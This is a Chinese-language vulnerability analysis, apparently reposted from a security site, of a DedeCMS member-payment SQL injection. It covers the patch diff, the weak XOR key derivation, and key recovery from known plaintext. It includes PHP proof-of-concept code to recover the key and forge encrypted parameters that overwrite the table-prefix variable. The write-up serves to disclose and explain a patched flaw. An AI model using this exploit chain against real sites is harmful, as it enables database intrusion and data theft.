<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/979

            0x00 前言


            前兩天,烏云白帽子提交了兩個DedeCMS的通殺注入漏洞,鬧得沸沸揚揚,25號織夢官方發布了補丁,于是就下載最新代碼回來做了對比,這里簡單的分析下其中的一個注入。

            0x01 漏洞分析


            對比補丁后發現,25號發布的源碼修改了5個文件,其中的/member/buy_action.php文件補丁對比如圖1。

            enter image description here

            很明顯mchStrCode函數加強了加密強度,補丁前是簡單的異或算法,但是織夢25號發布的補丁旨在修復烏云提交的兩個注入,這個函數可能有貓膩,搜索調用該函數的文件,如圖2。

            enter image description here

            接著看到/member/buy_action.php的22 - 40行代碼:

            #!php
            if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
            {
                parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
                foreach($mch_Post as $k => $v) $$k = $v;
                $row  = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
                if(!isset($row['buyid']))
                {
                    ShowMsg("請不要重復提交表單!", 'javascript:;');
                    exit();
                }
                if(!isset($paytype))
                {
                    ShowMsg("請選擇支付方式!", 'javascript:;');
                    exit(); 
                }
                $buyid = $row['buyid'];
            
            }else{
            

            注意其中的這兩行代碼:

            #!php
            parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
                foreach($mch_Post as $k => $v) $$k = $v;
            

            調用了mchStrCode函數對$pd_encode變量解密并通過parse_str函數注冊變量,緊接著foreach遍歷$mch_Post數組,這里如果我們可以控制$pd_encode解碼后的內容,就可以注冊覆蓋任意變量。回過頭來看mchStrCode函數的代碼:

            #!php
            function mchStrCode($string,$action='ENCODE')
            {
                $key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
                $string    = $action == 'ENCODE' ? $string : base64_decode($string);
                $len    = strlen($key);
                $code    = '';
                for($i=0; $i<strlen($string); $i++)
                {
                    $k        = $i % $len;
                    $code  .= $string[$i] ^ $key[$k];
                }
                $code = $action == 'DECODE' ? $code : base64_encode($code);
                return $code;
            }
            

            看到mchStrCode函數中的這句代碼:

            #!php
            $key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
            

            $_SERVER["HTTP_USER_AGENT"]+$GLOBALS['cfg_cookie_encode']經過md5取18位字符,其中的$_SERVER["HTTP_USER_AGENT"]是瀏覽器的USER_AGENT,我們可控,關鍵是這個$GLOBALS['cfg_cookie_encode']的來源,我們繼續對比補丁,如圖3。

            enter image description here

            其中/install/index.php的$rnd_cookieEncode字符串的生成同樣是加強了強度,$rnd_cookieEncode字符串最終也就是前面提到的$GLOBALS['cfg_cookie_encode'],我們看看補丁前的代碼:

            #!php
            $rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
            

            這段代碼生成的加密密匙很有規律,所有密匙數為26^6*(9999-1000)=2779933068224,把所有可能的組合生成字典,用passwordpro暴力跑MD5或者使用GPU來破解,破解出md5過的密匙也花不了多少時間。 分析到此,現在的關鍵是如何得到經過MD5加密后的18位長度密匙。前面說過,mchStrCode函數使用簡單的異或算法,假設有明文A,密匙B,密文C,則:

            C = A ^ B
            B = A ^ C
            

            也就是說ABC只要只其二就可以推導出剩下的一個了。怎么得到明文以及加密后的字符串呢?看到/member/buy_action.php的112 - 114行代碼:

            #!php
            $pr_encode = '';
                foreach($_REQUEST as $key => $val)
                {
                    $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
                }
            
                $pr_encode = str_replace('=', '', mchStrCode($pr_encode));
            
                $pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);
            
                $tpl = new DedeTemplate();
                $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
                $tpl->Display();
            

            注意到$pr_encode是從$_REQUEST獲取的,也就是說明文可控,同時$pr_encode加密后寫到html頁面,如圖4。

            enter image description here

            0x02 漏洞測試


            下面來測試,這里需要用到firefox的一個插件User Agent Switcher來設置UA,安裝插件后,添加一個UA頭,其中的User Agent清空,description隨便填。確認保存并使用插件將瀏覽器的UA設置剛剛添加的UA頭,即為空。如圖5。

            enter image description here

            設置為空是因為mchStrCode函數中的密匙含$_SERVER["HTTP_USER_AGENT"],如果不為空將加大md5的破解難度,設置為空則密匙為固定10位長度。設置好UA后,注冊并登陸會員中心,在“我的織夢”->“消費中心”->“會員升級/點卡充值”中的“購買新點卡”選擇“100點卡”,在點擊購買前使用Live HTTP header監聽,抓到的數據包如圖6。

            enter image description here

            因為$_REQUEST獲取參數是從$_GET->$_POST->$_COOKIE依次獲取,所以$pr_encode明文的的內容為POST的內容“product=card&pid=1”加上COOKIE的內容,然后加密并打印加密后的字符串到html頁面。同時“product=card&pid=1”剛好18個字符長度,對應密匙長度。點擊購買后支付方式選支付寶,再次使用使用Live HTTP header監聽,點擊購買并支付提交,抓到的數據包如圖7。

            enter image description here

            將pd_encode=后面的字符串復制下來,利用下面的代碼逆出MD5加密后的key:

            #!php
            <?php
            $key = "product=card&pid=1";
            $string = "QEJXUxNTQwlVABcGF0QMVAwFFmBwZzV1ZGd%2FJVhQQAIXWAMCBEZeBwAAUVJTAgoNA0BTBgdWBhZ8UgJVYkdTEywmDAxDdFRQVWVLUhR5c2tpAg4vVQFYVFQHBAVZUV5VBVEGAFdQBRIhVVVRfF9fXghkXllTXFRRCAdRAAUDBQUecwNUUnhZBgwMZV0IVW5rU1t1U1MNVVIOWFFRA1UEAwcEUQZaBUB1eWJpJiogcHcub2RmfA0XUwNUUldbEkoPVFkHVUMbX0BdRQdEXltYTxUKQQ";//加密的pd_encode字符串,需要修改
            $string = base64_decode(urldecode($string));
            for($i=0; $i<strlen($string); $i++)
            {
                    $code  .= $string[$i] ^ $key[$i];
            }
            echo "md5(\$key):" .$code;
            ?>
            

            enter image description here

            如圖8。取逆出的key的前16位破解md5即可,破解出密匙后就可以利用mchStrCode函數來加密參數,同時利用變量覆蓋漏洞覆蓋$GLOBALS[cfg_dbprefix]實現注入。這里給出一段POC,代碼如下:

            #!php
            <?php
            $GLOBALS['cfg_cookie_encode'] = 'CaQIm1790O';
            function mchStrCode($string,$action='ENCODE')
            {
                $key    = substr(md5($GLOBALS['cfg_cookie_encode']),8,18);
                $string    = $action == 'ENCODE' ? $string : base64_decode($string);
                $len    = strlen($key);
                $code    = '';
                for($i=0; $i<strlen($string); $i++)
                {
                    $k        = $i % $len;
                    $code  .= $string[$i] ^ $key[$k];
                }
                $code = $action == 'DECODE' ? $code : base64_encode($code);
                return $code;
            }
            

            其中的CaQIm1790O就是解密出來的密匙,漏洞分析到處結束,感覺像是在記流水賬,將就看看吧,最后上個本地測試EXP的圖。如圖9。

            enter image description here

            0x03 總結


            寫到這里就算結束了,最后做個總結,漏洞由mchStrCode函數弱算法->導致通過獲取到的明文和密文可以逆出經過MD5加密的密匙->破解MD5得到密匙->利用密匙加密數據->經過parse_str函數和foreach遍歷最終覆蓋表前綴變量$GLOBALS[cfg_dbprefix]實現注入,這樣的漏洞并不多見,但危害很大,WAF等防火墻很難防御,漏洞利用過程提交的數據因為加密,面目全非,和正常用戶操作提交的數據并無二致。

            附:官方補丁地址:http://www.dedecms.com/pl/

            原文鏈接:http://loudong.#/blog/view/id/16

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线